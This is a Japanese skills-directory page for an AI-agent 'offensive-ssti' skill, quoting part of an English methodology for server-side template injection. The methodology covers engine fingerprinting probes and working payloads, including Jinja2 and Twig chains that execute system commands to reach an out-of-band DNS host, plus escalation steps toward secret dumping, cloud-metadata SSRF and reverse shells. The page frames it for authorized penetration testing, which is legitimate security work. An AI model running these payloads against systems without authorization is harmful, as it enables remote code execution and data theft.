offensive-ssti
できること
このスキルは、ユーザーの入力がテンプレートエンジンによって実行される、サーバーサイドのテンプレートインジェクションを見つける方法論です。一般的なエンジンと、欠陥を安全に確かめる方法を扱います。書面による許可のもとでウェブアプリをテストするセキュリティの専門家向けです。
使う場面
- ✓許可を得たテストで、ユーザーの入力がサーバーサイドのテンプレートによってレンダリングされていることが分かったとき。
- ✓テンプレートインジェクションがサーバー側かブラウザ側かを確認したいとき。
- ✓署名されたテストで、アプリの背後にあるテンプレートエンジンを特定したいとき。
スキルのリンク
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/web/offensive-ssti/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“私たちのウェブアプリをテストする許可があります。挨拶のページがユーザーの入力をテンプレートエンジンで描画しているかを確認してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
このスキルは、入力箇所を地図にし、安全な算術のプローブを送り、応答からテンプレートエンジンを特定します。そして、一意のマーカーで欠陥を確かめ、リクエストと応答の連鎖を文書化します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
Server-Side Template Injection (SSTI) -- Offensive Methodology
SSTI exists wherever user-controlled input is concatenated into a server-side
template string and the engine evaluates it as code. The engine executes
attacker-supplied directives, granting access to the language runtime and, in
nearly every engine, remote code execution through the host language's object
model. You encounter SSTI in any application passing raw user input to functions
like render_template_string(), Template(), or compile().
CWE-1336. MITRE ATT&CK T1190.
Quick Workflow
- Map injection surfaces: URL params, POST bodies, JSON values, path segments, headers, cookies.
- Inject polyglot probes and engine-specific arithmetic expressions; note evaluation, errors, or blank output.
- Fingerprint the engine via decision-tree probes, error signatures, and variable enumeration (section 1).
- Confirm server-side execution -- rule out client-side template injection (AngularJS, Vue.js).
- Escalate to information disclosure: dump config, env vars, secrets, internal paths.
- Achieve code execution with the engine-specific chain; apply bypass techniques if blocked (section 6).
- Chain for higher impact: file read, SSRF to cloud metadata, reverse shell, internal pivot.
- Produce non-destructive PoC with unique marker and capture the full request/response chain.
1. Engine Detection and Fingerprinting
1.1 Polyglot Probes
${{<%[%'"}}%\ Universal polyglot
{{7*7}} Double-curly arithmetic
{{7*'7'}} String multiplication (Jinja2 returns 7777777, Twig returns 49)
<%= 7*7 %> ERB / EJS style
#{7*7} Pebble / Pug / Thymeleaf contexts
@(7+7) Razor (.NET)
Engine-narrowing probes:
{{config}} Jinja2/Flask config dict
{{_self.env}} Twig Environment object
{$smarty.version} Smarty version string
<#assign x=1> Freemarker (then reference x in dollar-curly)
For Velocity, inject #set( $x = 7 * 7 ) then reference $x.
For Thymeleaf/SpEL, inject a dollar-curly expression with T(java.lang.Math).PI.
For Mako, inject a dollar-curly expression with self.module.__name__.
1.2 Decision Tree
{{7*7}} --> 49?
YES --> {{7*'7'}} --> "7777777"? --> Jinja2/Nunjucks ({{config}} narrows to Flask)
--> "49"? --> Twig
--> error? --> Handlebars
NO --> dollar-curly with 7*7 --> 49?
YES --> dollar-curly with class ref --> Velocity
dollar-curly with T(Math).PI --> Thymeleaf
<#assign x=1> then ref x --> Freemarker
error contains "mako" --> Mako
NO --> <%= 7*7 %> --> 49?
error with "erb"/"Erubi" --> ERB
error with "ejs" --> EJS
@(7+7) --> 14? --> Razor
1.3 Error Signatures
| Signature | Engine |
|---|---|
jinja2.exceptions.UndefinedError |
Jinja2 |
Twig\Error\SyntaxError |
Twig |
freemarker.core.ParseException |
Freemarker |
org.apache.velocity.exception |
Velocity |
com.mitchellbosecke.pebble.error |
Pebble |
SmartyCompilerException |
Smarty |
mako.exceptions.SyntaxException |
Mako |
Parse error with Handlebars context |
Handlebars |
SyntaxError with ERB path |
ERB |
org.thymeleaf.exceptions.TemplateProcessing |
Thymeleaf |
SyntaxError with .ejs path |
EJS |
Pug:Error |
Pug |
1.4 Blind Detection
Time-based: {{range(99999999)|join}} (Jinja2), <%= sleep(5) %> (ERB).
For Java engines, inject a dollar-curly with T(java.lang.Thread).sleep(5000).
OOB DNS: Use Burp Collaborator or interactsh. Jinja2:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup UNIQUE.oastify.com').read()}}.
Twig: {{['nslookup UNIQUE.oastify.com']|map('system')}}.
Error inference: Compare {{7*7}} vs {{7*'INVALID}} -- different response
behavior confirms processing.
2. Jinja2 / Python
Exploitation relies on MRO traversal
よくある質問
どのテンプレートエンジンを扱いますか?
Jinja2、Twig、Freemarker、Velocity、Smarty、Thymeleafなどを扱います。
有害なペイロードが必要ですか?
このスキルは、一意のマーカーを使った非破壊的な証明を推奨します。
許可を得たテストだけのためのものですか?
はい。書面による許可のもとでのテストのために書かれています。
詳細
作者による元の説明
Dense description covering Server-Side Template Injection across Jinja2, Twig, Freemarker, Velocity, Pebble, Smarty, Mako, Handlebars, ERB, Thymeleaf, EJS, Pug. Engine fingerprinting, filter bypass, blind exploitation, WAF evasion, SSTI-to-RCE chains. Tools: tplmap. CWE-1336. MITRE T1190. Use when testing template rendering endpoints or exploiting template injection for code execution.
repo: SnailSploit/Claude-Red
人気
- GitHubのスター
- 10k
- ランキング
- #11979
- ライセンス
- MIT
- 更新日
- 2026/10/12
コメント
- …
このリポジトリの他のスキル
offensive-active-directory
10kエージェントが、ネットワークの地図作成から Domain Adminへの攻撃経路の発見まで、許可を得た Active Directoryのセキュリティテストを計画できるよう支援します。
offensive-netexec
10kエージェントが、許可を得たネットワークのテストで、NetExec(nxc)ツールを使えるよう支援します。プロトコル、認証、認証情報の確認を扱います。
offensive-api-abuse
10kエージェントが、ビジネスロジックの悪用、GraphQLのリスク、競合状態を探す、許可を得たAPIのセキュリティテストを計画できるよう支援します。
offensive-api-security
10kエージェントが、OWASP API Top 10に基づき、REST、gRPC、WebSocketのAPIに対して許可を得たセキュリティテストを行えるよう支援します。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。